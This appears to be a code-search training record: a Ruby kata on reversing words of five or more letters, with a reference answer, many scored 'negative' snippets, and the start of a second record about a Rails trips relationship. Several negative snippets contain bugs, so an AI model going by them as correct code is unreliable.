"0.542958", "0.5424348", "0.54148006", "0.5410029", "0.54067445", "0.54037637", "0.5400731", "0.5398264", "0.53977495", "0.53973085", "0.53937954", "0.539359", "0.5382147", "0.53806937", "0.5379069", "0.5372376", "0.5372076", "0.5368508", "0.53568906", "0.53549707", "0.5347995", "0.5345603" ]
0.0
-1
Link to kata: Description: Write a function that takes in a string of one or more words, and returns the same string, but with all five or more letter words reversed (Just like the name of this Kata). Strings passed in will consist of only letters and spaces. Spaces will be included only when more than one word is present. Answer:
def spinWords(string) string.split(" ").map { |word| word.length >= 5 ? word.reverse : word }.join(" ") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reverse_words(string)\n array = string.split(\" \").each do |word|\n if word.length >= 5\n word.reverse!\n else\n word\n end\n end\n array.join(\" \")\nend", "def reverse_words(string)\n string.split.each { |word| word.reverse! if word.length >= 5 }.join(' ')\nend", "def reverse_words(string)\n string.split.each { |word| word.reverse! if word.length >= 5 }.join(' ')\nend", "def reverse_words(string)\n words = string.split(' ')\n words.each do |word|\n word.reverse! if word.length >= 5\n end\n reverse = words.join(' ')\nend", "def reverse_words(string)\n words_array = string.split\n words_array.each do |word|\n word.reverse! if word.size >= 5\n end\n words_array.join(' ')\nend", "def reverse_words(string)\n words = string.split.each do |word|\n words = word.reverse! if word.length >= 5\n end\n words.join(' ')\nend", "def reverse_words(string)\n words = string.split\n words.each { |word| word.reverse! if word.length >= 5 }\n words.join(' ')\nend", "def reverse_words(str)\n str.split.each { |word| word.reverse! if word.length >= 5 }.join(' ')\nend", "def reverse_words(string)\n string.split.map { |word| word.length >= 5 ? word.reverse : word }.join(' ')\nend", "def reverse_words(string)\n string.split.map { |word| (word.length >= 5) ? word.reverse : word }.join(' ')\nend", "def reverse_words(input_string)\n words_array = input_string.split\n\n words_array.map! do |word|\n word.size >= 5 ? word.reverse : word\n end\n\n words_array.join(' ')\nend", "def reverse_words(str)\n str.split.each { |word| word.reverse! if word.size >= 5 }.join(' ')\nend", "def reverse_words(str)\n new_words = []\n str.split(' ').each do |s|\n new_words << s.length >= 5 ? s.chars.reverse.join : s\n end\n new_words.join(' ')\nend", "def reverse_words(string)\n \n if string.class == String\n \n array = string.split\n result = array.map do |word|\n \n word.reverse! if word.length >= 5\n word\n\n end\n\n result.join(' ') \n \n else\n \"Strings only!\"\n end\nend", "def reverse_words(string)\n reversed_string = string.split.map do |word|\n word.size >= 5 ? word.reverse : word\n end\n reversed_string.join(' ')\nend", "def reverse_words(string)\n words = string.split\n new_words = []\n words.each do |word|\n if word.length >= 5\n new_words << word.reverse\n else\n new_words << word\n end\n end\n new_words.join(' ')\nend", "def reverse_words(string)\n string.split.map {|x| x.length >= 5 ? x.reverse : x}.join(\" \")\nend", "def reverse_words3(str)\n str.split.map { |word| word.length >= 5 ? word.reverse : word }.join(' ') \nend", "def reverse_words(string)\n array_words = string.split(\" \")\n array_words.map! do |word|\n if word.length >= 5\n word.reverse!\n else\n word\n end\n end\n array_words.join(\" \")\nend", "def reverse_words(string)\n words = []\n string.split.each do |word|\n word.reverse! if word.length >= 5\n words << word\n end\n words.join(\" \")\nend", "def reverse_words(str)\n result_array = []\n str.split.each do |word|\n if word.size >= 5\n result_array << word.reverse\n else\n result_array << word\n end\n end\n if result_array.size > 1\n answer = result_array.join(' ')\n else\n answer = result_array.join('')\n end\n answer\nend", "def reverse_words(string)\n reversed = string.split.map do |word|\n word.reverse! if word.length >= 5\n word\n end\n reversed.join(' ')\nend", "def reverse_words1(string)\n words = []\n\n string.split.each do |word|\n word.reverse! if word.size >= 5\n words << word\n end\n\n words.join(' ')\nend", "def reverse_words(string)\n result = []\n\n string.split.each do |word|\n word.reverse! if word.size >= 5\n result.push(word)\n end\n\n result.join(' ')\n\nend", "def reverse_words(string)\n reverted_string = []\n string.split.each do |word|\n word.length > 4 ? reverted_string << word.reverse : reverted_string << word\n end\n reverted_string.join(\" \")\nend", "def reverse_words(str)\n new_str = []\n str.split.each do |word|\n new_str.push(word.chars.reverse.join) if word.length > 4\n new_str.push(word) if word.length < 5\n end\n new_str.join(\" \")\nend", "def reverse_words(string)\n words = []\n \n string.split.each do |word|\n word.reverse! if word.length >= 5\n words << word\n end \n\n words.join(' ')\nend", "def reverse_words(string)\n words = []\n words = string.split\n for word in words\n if word.size >= 5\n word.reverse!\n end\n end\n words.join(\" \")\nend", "def reverse_words(words = ' ')\n if words.to_s =~ /\\d+/\n puts 'Invalid input: only letters and spaces allowed.'\n else\n array = words.split.map { |x| x.length >= 5 ? x.reverse : x }\n array.join(' ')\n end\nend", "def reverse_words(string)\n if string.split.size >= 2\n counter = 0\n array = string.split\n loop do \n current_element = array[counter] \n if current_element.size >= 5\n array[counter] = current_element.chars.reverse.join\n end\n counter += 1\n break if counter == array.size\n end\n array.join(' ')\n else\n string.chars.reverse.join\n end\nend", "def reverse_words(string)\n words = string.split\n \n words.map! do |word|\n if word.length >= 5\n word.reverse\n else\n word\n end\n end\n words.join(\" \")\nend", "def reverse_words(str)\n arr = str.split.map do |item|\n item.reverse! if item.size >= 5\n item\n end\n arr.join(' ')\nend", "def reverse_words(string)\n words = []\n\n string.split.each do |word|\n word.reverse! if word.size >= 5\n words << word\n end\n\n words.join(' ')\nend", "def reverse_word_by_word_naive(s)\n words = s.split(\" \")\n my_reverse(words).join(\" \")\nend", "def reverse_words(string)\n words = []\n\n string.split.each do |word|\n word.reverse! if word.size >= 5\n words.push(word)\n end\n words.join(' ')\nend", "def reverse_words(str)\n words = []\n\n str.split.each do |word|\n word.reverse! if word.size >= 5\n words << word\n end\n\n words.join(\" \")\nend", "def reverse_words_refactor(string)\n jumbled_letters = string.split(\" \").each {|word| word.reverse!}.join(\" \")\nend", "def reversal2(string)\n array = string.split\n array.map! do |word|\n if word.length >= 5\n word.reverse\n else\n word\n end\n end\n array.join(' ')\nend", "def reverse_words(words)\n arr_words = words.split(\" \")\n reverse_array = []\n arr_words.each do |word|\n if word.length >= 5\n reverse_array << word.reverse\n else\n reverse_array << word\n end\n end\n reverse_array.join(\" \")\nend", "def reverse_word(string)\n words = []\n\n string.split each do |word|\n word.reverse! if word.size >= 5\n words << word\n end\n\n words.join(' ')\nend", "def reverse_words(string)\n \n array_words = string.split\n \n array_reverse = \n array_words.map do |str|\n if str.size >= 5\n str.reverse\n else\n str\n end\n end\n array_reverse.join(' ')\nend", "def reverse_words(string)\n words = string.split(' ')\n words = words.map do |word|\n if word.length >= 5\n word.reverse\n else\n word\n end\n end\n words.join(' ')\n\nend", "def reverse_words(str)\n new_array = str.split(' ').map do |word|\n if word.size >= 5\n word.reverse!\n else\n word\n end\n end\n new_array.join(' ')\nend", "def reverse_words(string)\n new_string = string.split.each do |word|\n if word.size > 4 #next time use single line\n word.reverse!\n end\n end\n new_string.join(' ')\nend", "def reverse_words(str)\n str.split.map do |word|\n word = word.reverse if word.size > 5\n\n word\n end.join(' ')\nend", "def reverse_words(str)\n words = []\n \n str.split.each do |word|\n word.reverse! if word.size >= 5\n words << word\n end\n \n words.join(' ')\n \nend", "def reverse_words(str)\n\tarr = []\n\n\tstr.split.map do |word| \n\tword.reverse if word.size >= 5\n\tarr << word\n\tend\n\n\tarr.join(' ')\nend", "def another_way(string)\n words = []\n \n string.split.each do |word|\n word.reverse! if word.size >= 5\n words << word\n end\n \n words.join(' ')\nend", "def reverse_words(words)\n result = words.split(' ')\n result.each do |word|\n word.reverse! if word.size > 4\n end\n result.join(\" \")\nend", "def reverse_words(str)\n str.gsub(/\\w{5,}/) { |word| word.reverse }\nend", "def reverse_words(werds)\n if werds != ''\n werds = werds.split\n output = werds.shift\n if output.length>4 ; output.reverse! end\n if werds\n werds.each do |werd|\n if werd.length > 4; werd.reverse! end\n output += \" \"+werd \n end\n end\n output\n else return werds end\nend", "def reverse_five(str)\n arr = str.split\n new_arr = []\n arr.each do |word|\n word.length >= 5 ? new_arr << word.reverse : new_arr << word\n end\n new_arr.join(' ')\nend", "def reverse_words(string)\n array = string.split.map do |element| \n if element.length >= 5\n element.reverse\n else \n element\n end\nend\narray.join(' ')\nend", "def backwards_wording(arg)\n resp = []\n size = arg.size\n i = 0\n\n while i < size do\n elem = arg[i]\n\n if elem.length >= 5\n revelem = elem.split(//).reverse.join('')\n resp << revelem\n end\n\n i+=1\n\n end\n\n return resp\n\n end", "def reverse_five(str)\n words = str.split\n words.each {|word| word.reverse! if word.length >= 5}\n words.join(\" \")\nend", "def reverse_words(words)\n words = words.split\n i = 0\n\n while i < words.count do\n words[i].replace(words[i].reverse) if words[i].size >= 5\n i += 1\n end\n\n words.join(' ')\nend", "def reverse_words(string, *optional)\n\tstring = string.split\n\tstring.map! do |word|\n \tword.reverse\n \tend\n \n \tp string.join(\" \")\n \nend", "def reverse_five(str)\n str_arr = str.split(' ')\n output_arr = []\n\n str_arr.each do |word|\n if word.length >= 5\n output_arr << word.reverse\n else\n output_arr << word\n end\n end\n\n output_arr.join(' ')\nend", "def reverse_words (string)\n if string == \"\"\n p \"\"\n elsif\n words = string.split(\" \")\n words.each { |word|\n word.reverse!\n }\n p words.join(\" \")\nend\nend", "def nj_reverse_words(str)\n str.gsub(/\\w{5,}/, &:reverse)\nend", "def reverse_words(my_words) #with string_reverse\r\n return my_words if my_words.length < 2\r\n return string_reverse(my_words) if !my_words.include?(\" \")\r\n\r\n first = 0\r\n\r\n my_words.length.times do |last |\r\n if my_words[last].match(/\\s/)\r\n my_words[first...last] = string_reverse(my_words[first...last])\r\n first = last + 1\r\n elsif last == (my_words.length - 1)\r\n my_words[first..last] = string_reverse(my_words[first..last])\r\n end\r\n end\r\n\r\n return my_words\r\nend", "def spinWordsAlt( string )\n #Split words in the string into an array\n words = string.split(' ')\n for i in ( 0...words.length() ) do\n if words[i].length() >= 5\n words[i] = reverse( words[i] )\n end\n end\n return words.join(' ')\nend", "def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend", "def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend", "def reverse_words(string)\n string_array = string.split(\" \")\n words = string_array.each {|word| word.reverse!}.join(\" \")\nend", "def reverse_words(str)\r\n arr = str.split\r\n arr.map do |x| \r\n if x.length >= 5 \r\n x.reverse!\r\n else\r\n x\r\n end\r\n end\r\n arr.join(' ')\r\nend", "def reverse_five(str)\n arr = str.split\n arr.each do |word|\n if word.length >= 5\n word.reverse!\n end\n end\n arr.join(\" \")\nend", "def reverse_five(str)\n result = []\n str = str.split(\" \")\n str.each do |word|\n if word.length > 4\n result << word.reverse\n else\n result << word\n end\n end\n result.join(\" \")\nend", "def reverse_five(str)\n arr = str.split\n new_str = []\n arr.each do |word|\n if word.length >= 5\n word.reverse!\n end\n new_str.push(word)\n end\n new_str.join(\" \")\nend", "def reverse_words(words)\n arr = words.split\n arr.each_with_index do |word, index|\n if word.size >= 5\n arr[index] = word.reverse\n end\n end \n arr.join(' ') \nend", "def reverse_each_word(string)\n string.split\n string.split.collect do |s|\n s.reverse!\n s.split.join(\" \")\n end\n .join(\" \")\nend", "def reverse_each_word(words)\n words.split(\" \").collect{ |x| x.reverse}.join(\" \")\nend", "def reverse_words(sentence)\n arr = []\n sentence.split(' ').each do |word| \n if word.length >= 5\n arr << word.split(//).reverse!.join\n else \n arr << word\n end \n end\n arr.join(\" \")\nend", "def reverse_words(s)\n strs = s.split(\" \")\n if strs.length == 0\n return \"\"\n elsif strs.length == 1\n return s\n else\n strs.reverse!\n return strs.join(\" \")\n end\nend", "def reverse_words(sentence)\n words = sentence.split\n word_array = []\n words.each do |word|\n if word.length < 5\n word_array << word\n else\n word_array << word.reverse\n end\n end\n word_array.join(' ')\nend", "def reverse_each_word(string)\n\n\n str_n = string.split.collect do |str|\n str.reverse\n end\n\n str_n.join(\" \")\n\nend", "def reverse_each_word(string)\n step_one = string.split(\" \")\n step_one.collect do |word| word.reverse\n \"#{word.reverse}\"\n end\n .join(\" \")\nend", "def reverse_each_word(string)\n string.split(\" \").collect {|x| x.reverse!}.join(\" \")\nend", "def reverse_each_word(astring)\n astring.split(\" \").collect {|word| word.reverse}.join(\" \")\nend", "def wordReverse (string_of_words)\n\n new_string = string_of_words.split(' ').reverse().join(' ')\n puts new_string\n\nend", "def backwards_wording(words)\n words.select { |word| word.size >= 5 }.map { |word| word.reverse }\n end", "def reverse_each_word(string)\n reversed = string.split(\" \").collect do |word|\n word.reverse\nend\n reversed.join(\" \")\nend", "def reverse_words(s)\n s.split(' ').map(&:reverse!).join(' ')\nend", "def reverse_each_word(string)\n string.split(\" \").collect {|word| word.reverse!}.join(\" \")\nend", "def reverse_words (string)\n array = string.split(\"\")\n array.reverse!\n final = array.join(\"\")\n return final\nend", "def reverse_words (string)\n string_array = string.split(\" \").to_a\n string_array.each {|word| word.reverse!}\n new_string = string_array.join(\" \")\nend", "def reverse_words(string)\n string.split(' ').map{|word| word.reverse}.join(' ')\nend", "def reverse_words(str)\n words = str.split(\" \")\n words.each { |word| word.reverse! }\n return words.join(\" \")\nend", "def reverse_words(words)\n return words.split(' ').reverse.join(' ').reverse\nend", "def reverse_words(string)\n words = string.split(\" \")\n words.map! {|element| element.reverse}\n words.join(\" \")\n\nend", "def reverse_word(words)\n\twords.split(\" \").each {|word| word.reverse!}.join(\" \")\nend", "def reverse_words(s)\n s.split(/\\s+/).map\n {|w|wl=w.length-1;\n (0..wl).map{|i|w[wl-i]}.join}.join(' ')\n end", "def reverse_each_word(string)\n array = string.split \" \"\n array.collect { |word| word.reverse! }\n array.join(\" \")\nend", "def reverse_words(string)\n split_array = string.split(' ')\n results_array = split_array.map! do |word|\n word.reverse\n end\n results_array.join(' ')\nend", "def reverse_words(string)\n words = string.split(' ')\n reverse_str = []\n\n words.length.times do |i|\n reverse_str[i] = words[i].reverse\n end\n\n return reverse_str.join(\" \")\nend", "def reverse_words(input_string)\n string_array = input_string.split(\" \")\n return_string = \"\"\n string_array.each do |word|\n word_array = word.split(//)\n\n for i in 0...(word_array.length/2)\n temp = word_array[i]\n word_array[i] = word_array[((word_array.length-1)-i)]\n word_array[((word_array.length-1)-i)] = temp\n end\n \n return_string << word_array.join(\"\") + \" \"\n \n end\n \n return_string.slice!((return_string.length)-1)\n return return_string\n\nend", "def reverse_each_word_with_each(string)\n original_array = string.split(\" \")\n return_array = []\n original_array.each do |string|\n return_array << string.reverse\n end\n return_array.join(\" \")\n\nend", "def reverse_each_word(string)\n arrayOfReversedWords = string.split.collect do |letter|\n letter.reverse\n end\n arrayOfReversedWords.join(\" \")\nend", "def reverse_words(string)\n words = string.split(' ')\n reverse_string = []\n\n words.length.times do |i|\n reverse_string[i] = words[i].reverse\n end\n\n return reverse_string.join(\" \")\nend", "def reverse_sentence(str)\n word_array = str.split(\" \")\n word_array.each do |item| \n item.reverse! if item.size >= 5\n end\n word_array.join(\" \")\nend", "def reverse_each_word(string)\n rev_string = string.split\n rev_string.collect do |rev|\n rev.reverse!\n end\n return rev_string.join(\" \")\nend" ]
[ "0.83576137", "0.8289384", "0.8289384", "0.8289208", "0.8285551", "0.82757497", "0.82717496", "0.82553536", "0.8246794", "0.82418805", "0.82380617", "0.8204497", "0.81993335", "0.8176601", "0.8171168", "0.8146561", "0.81432444", "0.81398904", "0.8137971", "0.8130754", "0.81298023", "0.8118816", "0.81097394", "0.8076456", "0.8072513", "0.8071144", "0.8062472", "0.8058888", "0.8052454", "0.8051861", "0.8047976", "0.8032088", "0.80016243", "0.80008686", "0.79702336", "0.79687184", "0.7961378", "0.7961255", "0.7956711", "0.7951725", "0.79481006", "0.7941009", "0.7935981", "0.7933936", "0.793171", "0.7928058", "0.7927028", "0.7922989", "0.7900165", "0.78635937", "0.78594226", "0.7857816", "0.7835618", "0.7830908", "0.7830203", "0.7828727", "0.7826943", "0.782312", "0.78058255", "0.7802749", "0.7801134", "0.77946174", "0.7791438", "0.7791438", "0.7780981", "0.7780748", "0.7779976", "0.7774108", "0.7765214", "0.77502537", "0.77447474", "0.7742553", "0.7739793", "0.7739367", "0.7734536", "0.77211106", "0.77057534", "0.7701451", "0.7700341", "0.76986474", "0.7695135", "0.7682473", "0.7680444", "0.76795113", "0.7675646", "0.7674344", "0.7666285", "0.76654303", "0.76558805", "0.76519436", "0.7651632", "0.7649745", "0.7645492", "0.7640886", "0.7638914", "0.76384723", "0.76350826", "0.7634765", "0.7632395", "0.762813", "0.76264787" ]
0.0
-1
manually writing relationship method as primary_key is set to route_short_name has_many :trips
def trips Trip.where(:route_id => self.route_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def model_relationships; end", "def macro\n :belongs_to_related\n end", "def relationship_related_link(attribute_name); end", "def relationship(sym)\n self.class.relationship(sym)\n end", "def one_relationship(name)\n end", "def child_relation; end", "def add_relationship(rel_attr); end", "def one_to_many(name, opts={})\n singular_name = name.to_s.singularize\n ids_attr = \"#{singular_name}_ids\"\n guids_attr = \"#{singular_name}_guids\"\n\n opts[:reciprocal] ||= self.name.split('::').last.underscore.to_sym\n\n define_to_many_methods(name, singular_name, ids_attr, guids_attr)\n super\n end", "def relationship(sym)\n if @relationships\n @relationships[sym]\n else\n self.class.relationship(sym)\n end\n end", "def associated\n end", "def relation_method\n :product\n end", "def def_one_to_many(opts)\n one_to_one = opts[:type] == :one_to_one\n name = opts[:name]\n key = (opts[:key] ||= opts.default_key)\n km = opts[:key_method] ||= opts[:key]\n cks = opts[:keys] = Array(key)\n opts[:key_methods] = Array(opts[:key_method])\n primary_key = (opts[:primary_key] ||= self.primary_key)\n opts[:eager_loader_key] = primary_key unless opts.has_key?(:eager_loader_key)\n cpks = opts[:primary_keys] = Array(primary_key)\n pkc = opts[:primary_key_column] ||= primary_key\n pkcs = opts[:primary_key_columns] ||= Array(pkc)\n raise(Error, \"mismatched number of keys: #{cks.inspect} vs #{cpks.inspect}\") unless cks.length == cpks.length\n uses_cks = opts[:uses_composite_keys] = cks.length > 1\n opts[:dataset] ||= opts.association_dataset_proc\n opts[:eager_loader] ||= proc do |eo|\n h = eo[:id_map]\n reciprocal = opts.reciprocal\n assign_singular = opts.assign_singular?\n delete_rn = opts.delete_row_number_column\n\n eager_load_results(opts, eo) do |assoc_record|\n assoc_record.values.delete(delete_rn) if delete_rn\n hash_key = uses_cks ? km.map{|k| assoc_record.get_column_value(k)} : assoc_record.get_column_value(km)\n next unless objects = h[hash_key]\n if assign_singular\n objects.each do |object| \n unless object.associations[name]\n object.associations[name] = assoc_record\n assoc_record.associations[reciprocal] = object if reciprocal\n end\n end\n else\n objects.each do |object| \n object.associations[name].push(assoc_record)\n assoc_record.associations[reciprocal] = object if reciprocal\n end\n end\n end\n end\n \n join_type = opts[:graph_join_type]\n select = opts[:graph_select]\n use_only_conditions = opts.include?(:graph_only_conditions)\n only_conditions = opts[:graph_only_conditions]\n conditions = opts[:graph_conditions]\n opts[:cartesian_product_number] ||= one_to_one ? 0 : 1\n graph_block = opts[:graph_block]\n opts[:eager_grapher] ||= proc do |eo|\n ds = eo[:self]\n ds = ds.graph(opts.apply_eager_graph_limit_strategy(eo[:limit_strategy], eager_graph_dataset(opts, eo)), use_only_conditions ? only_conditions : cks.zip(pkcs) + conditions, Hash[eo].merge!(:select=>select, :join_type=>eo[:join_type]||join_type, :qualify=>:deep, :from_self_alias=>eo[:from_self_alias]), &graph_block)\n # We only load reciprocals for one_to_many associations, as other reciprocals don't make sense\n ds.opts[:eager_graph][:reciprocals][eo[:table_alias]] = opts.reciprocal\n ds\n end\n \n return if opts[:read_only]\n\n save_opts = {:validate=>opts[:validate]}\n ck_nil_hash ={}\n cks.each{|k| ck_nil_hash[k] = nil}\n\n if one_to_one\n opts[:setter] ||= proc do |o|\n up_ds = _apply_association_options(opts, opts.associated_dataset.where(cks.zip(cpks.map{|k| get_column_value(k)})))\n if o\n up_ds = up_ds.exclude(o.pk_hash) unless o.new?\n cks.zip(cpks).each{|k, pk| o.set_column_value(:\"#{k}=\", get_column_value(pk))}\n end\n checked_transaction do\n up_ds.skip_limit_check.update(ck_nil_hash)\n o.save(save_opts) || raise(Sequel::Error, \"invalid associated object, cannot save\") if o\n end\n end\n opts[:_setter] = proc{|o| set_one_to_one_associated_object(opts, o)}\n else \n save_opts[:raise_on_failure] = opts[:raise_on_save_failure] != false\n\n opts[:adder] ||= proc do |o|\n cks.zip(cpks).each{|k, pk| o.set_column_value(:\"#{k}=\", get_column_value(pk))}\n o.save(save_opts)\n end\n \n opts[:remover] ||= proc do |o|\n cks.each{|k| o.set_column_value(:\"#{k}=\", nil)}\n o.save(save_opts)\n end\n\n opts[:clearer] ||= proc do\n _apply_association_options(opts, opts.associated_dataset.where(cks.zip(cpks.map{|k| get_column_value(k)}))).update(ck_nil_hash)\n end\n end\n end", "def _load_associated_object_via_primary_key(opts)\n opts.associated_class.send(:primary_key_lookup, ((fk = opts[:key]).is_a?(Array) ? fk.map{|c| get_column_value(c)} : get_column_value(fk)))\n end", "def belongs_to(*attrs)\n define_rid_method = attrs[1].try(:delete, :rid)\n super.tap do\n if define_rid_method != false\n relationship_name = attrs[0]\n rel = reflections[relationship_name] || reflections[relationship_name.to_s]\n\n return if rel.options[:polymorphic] # If we don't know the class, we cannot find the record by rid.\n\n class_name = rel.options[:class_name] || relationship_name.to_s.classify\n related_class = class_name.constantize\n define_rid_accessors(related_class, relationship_name) if related_class.attribute_names.include? \"rid\"\n end\n end\n end", "def associations; end", "def foreign_key\n self.name + \"_id\"\n end", "def relation_method\n :join\n end", "def belongs_to name, opts={}\n opts.merge! :type => :belongs_to, :from => self\n relation = FAP::Relation.new name, opts\n self.relations << relation\n define_relation_getter relation\n end", "def association_method\n self[:name]\n end", "def related_attrs\n relationship = flex_options[:relationship_name]\n send relationship\n end", "def method_for_association_chain #:nodoc:\n resource_collection_name\n end", "def _load_associated_object_via_primary_key(opts)\n if !opts.associated_class.respond_to?(:cache_get_pk) && (bv = association_bound_variables(opts)) && (ps = association_prepared_statement(opts, bv))\n ps.call(bv)\n else\n super\n end\n end", "def association_method\n self[:name]\n end", "def relation_key\n self[:relation_key] || name.to_s\n end", "def foreign_key\n meta(foreign_key: true)\n end", "def derive_foreign_key\n result = super\n result = ActiveSupport::Inflector.pluralize(result) \\\n if collection? && connected_through_array?\n result\n end", "def stores_foreign_key?; true; end", "def association_id_method\n self.class.foreign_key_name(@options[\"name\"])\n end", "def link_belongs_to(reflection)\n reflection.foreign_key.to_sym\n end", "def def_many_to_one(opts)\n name = opts[:name]\n opts[:key] = opts.default_key unless opts.has_key?(:key)\n key = opts[:key]\n opts[:eager_loader_key] = key unless opts.has_key?(:eager_loader_key)\n cks = opts[:graph_keys] = opts[:keys] = Array(key)\n opts[:key_column] ||= key\n opts[:graph_keys] = opts[:key_columns] = Array(opts[:key_column])\n opts[:qualified_key] = opts.qualify_cur(key)\n if opts[:primary_key]\n cpks = Array(opts[:primary_key])\n raise(Error, \"mismatched number of keys: #{cks.inspect} vs #{cpks.inspect}\") unless cks.length == cpks.length\n end\n uses_cks = opts[:uses_composite_keys] = cks.length > 1\n opts[:cartesian_product_number] ||= 0\n\n if !opts.has_key?(:many_to_one_pk_lookup) &&\n (opts[:dataset] || opts[:conditions] || opts[:block] || opts[:select] ||\n (opts.has_key?(:key) && opts[:key] == nil))\n opts[:many_to_one_pk_lookup] = false\n end\n auto_assocs = @autoreloading_associations\n cks.each do |k|\n (auto_assocs[k] ||= []) << name\n end\n\n opts[:dataset] ||= opts.association_dataset_proc\n opts[:eager_loader] ||= proc do |eo|\n h = eo[:id_map]\n pk_meths = opts.primary_key_methods\n\n eager_load_results(opts, eo) do |assoc_record|\n hash_key = uses_cks ? pk_meths.map{|k| assoc_record.get_column_value(k)} : assoc_record.get_column_value(opts.primary_key_method)\n if objects = h[hash_key]\n objects.each{|object| object.associations[name] = assoc_record}\n end\n end\n end\n \n join_type = opts[:graph_join_type]\n select = opts[:graph_select]\n use_only_conditions = opts.include?(:graph_only_conditions)\n only_conditions = opts[:graph_only_conditions]\n conditions = opts[:graph_conditions]\n graph_block = opts[:graph_block]\n graph_cks = opts[:graph_keys]\n opts[:eager_grapher] ||= proc do |eo|\n ds = eo[:self]\n ds.graph(eager_graph_dataset(opts, eo), use_only_conditions ? only_conditions : opts.primary_keys.zip(graph_cks) + conditions, Hash[eo].merge!(:select=>select, :join_type=>eo[:join_type]||join_type, :qualify=>:deep, :from_self_alias=>eo[:from_self_alias]), &graph_block)\n end\n \n return if opts[:read_only]\n \n opts[:setter] ||= proc{|o| cks.zip(opts.primary_key_methods).each{|k, pk| set_column_value(:\"#{k}=\", (o.get_column_value(pk) if o))}}\n opts[:_setter] = proc{|o| set_associated_object(opts, o)}\n end", "def relation\n raise NotImplementedError\n end", "def relationship_ancestry(*args)\n stringify_options = args.extract_options!\n options = stringify_options.slice!(:field_delimiter, :record_delimiter, :exclude_class, :field_method, :include_self)\n\n include_self = stringify_options.delete(:include_self)\n field_method = stringify_options[:field_method] || :id\n\n meth = include_self ? :path : :ancestors\n meth = :\"#{meth.to_s.singularize}_ids\" if field_method == :id\n rels = send(meth, options)\n\n rels_meth = :\"stringify_#{field_method == :id ? \"resource_pairs\" : \"rels\"}\"\n Relationship.send(rels_meth, rels, stringify_options)\n end", "def relation(related, arguments=[])\n self.send(related.to_sym)\n end", "def primary_key\n self[:primary_key] ||= associated_class.primary_key\n end", "def relationship( name, &block )\n require_identifier!\n return if context.linkage_only?\n\n include_or_mark_partial name do\n builder = RelationshipBuilder.new( context )\n yield builder\n\n relationships = ( output[:relationships] ||= {} )\n relationships[ name.to_sym ] = builder.compile\n end\n end", "def resolve_relationship(object)\n id_attribute = \"#{klass.name.split(\"::\").last.underscore}_id\"\n associated_class.find(:one, :params => object.prefix_options.merge(id_attribute => object.id))\n end", "def eager_loading_use_associated_key?\n true\n end", "def belongs_to\n return self.property.name if self.renter_id == 0\n return self.renter.full_name2 if (self.renter_id != 0) \n end", "def subkeys\n return self.class.none unless primary?\n\n self.class.where(primary_key_grip: grip)\n end", "def path(*args)\n return call_ancestry_method(:path) if use_ancestry?\n\n Relationship.resources(path_rels(*args)) # TODO: Prevent preload of self which is in the list\n end", "def belongs_to_relations(ar_instance)\n\t\t\tcolumns = ar_instance.class.column_names\n\t\t\tparents = columns.map{ |c| c if c =~ /_id/ }.reject{ |c| c.nil? }\n\t\t\tparents.map!{ |parents| parents.gsub('_id', '') }\n\t\tend", "def def_one_to_many(opts)\n super\n return if opts[:type] == :one_to_one\n def_association_pks_getter(opts) do\n send(opts.dataset_method).select_map(opts[:primary_key])\n end\n def_association_pks_setter(opts) do |pks|\n checked_transaction do\n ds = send(opts.dataset_method)\n ds.unfiltered.filter(opts[:primary_key]=>pks).update(opts[:key]=>pk)\n ds.exclude(opts[:primary_key]=>pks).update(opts[:key]=>nil)\n end\n end\n end", "def relation\n Proxy\n end", "def relation\n Proxy\n end", "def relation\n Proxy\n end", "def related_to(*args)\n@relations = args.map(&:to_s)\nend", "def has_many(name, options = {})\n options = HasManyOptions.new(name, self, options)\n define_method(name) do\n primary_key = self.id\n source_class = options.model_class\n source_class.where(options.foreign_key => primary_key)\n end\n end", "def related_posts; end", "def foreign_key\n @resource_options.fetch :foreign_key,\n :\"#{tools.string.singularize association_name}_id\"\n end", "def primary_records\n return following_relationships if is_following?\n\n follower_relationships\n end", "def inverse_class\n ManyToOne::Relationship\n end", "def inverse_class\n ManyToOne::Relationship\n end", "def foreign_key_for assoc_name\n raise NotImplementedError\n end", "def foreign_key_for assoc_name\n raise NotImplementedError\n end", "def my_relationships(name)\n self.class.find_relationship(name).find_by_participant(self)\n end", "def method_missing(method, *args, &block)\n relation.send(method, *args, &block)\n end", "def default_right_key\n :\"#{singularize(self[:name])}_id\"\n end", "def list_relationships\n end", "def map_relations\n self.resource_relations = {}\n model.alchemy_resource_relations.each do |name, options|\n relation_name = name.to_s.gsub(/_id$/, \"\") # ensure that we don't have an id\n association = association_from_relation_name(relation_name)\n foreign_key = association.options[:foreign_key] || \"#{association.name}_id\".to_sym\n collection = options[:collection] || resource_relation_class(association).all\n resource_relations[foreign_key] = options.merge(\n model_association: association,\n name: relation_name,\n collection: collection\n )\n end\n end", "def find_relationship_by(attribute, value); end", "def related_accounts\n self.class.related_accounts(self.id.to_s)\n end", "def related_accounts\n self.class.related_accounts(self.id.to_s)\n end", "def related_identifier_nested\n self[Solrizer.solr_name('related_identifier_nested', :displayable)]\n end", "def foreign_key(separate_class_name_and_id_with_underscore = true)\n ActiveSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)\n end", "def related_fields(method)\n \n end", "def collection_path\n send route_prefix_to_method_name(\"#{class_name.model_name.route_key}_path\")\n end", "def relation\n relation = nodes.reduce(root) do |a, e|\n a.associations[e.name.key].join(:join, a, e)\n end\n schema.(relation)\n end", "def _parent_id\n send parent_column_name\n end", "def foreign_key\n association.foreign_key \n end", "def association_key\n table[association_key_name]\n end", "def primary_key\n @resource_options.fetch :primary_key, :\"#{singular_resource_name}_id\"\n end", "def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)\n Geode::FastInflector.foreign_key(class_name, separate_class_name_and_id_with_underscore)\n end", "def path_ids(*args)\n return call_ancestry_method(:path_ids) if use_ancestry?\n\n Relationship.resource_pairs(path_rels(*args))\n end", "def stores_foreign_key?; false; end", "def stores_foreign_key?; false; end", "def source_macro\n :belongs_to\n end", "def foreign_key(separate_class_name_and_id_with_underscore = true)\n MotionSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)\n end", "def relationships\n model.relationships(repository.name)\n end", "def get_relations_referring_to_object(type, id)\n api_call_with_type(type, id, \"#{type}/#{id}/relations\")\n end", "def relationship\n return @relationship\n end", 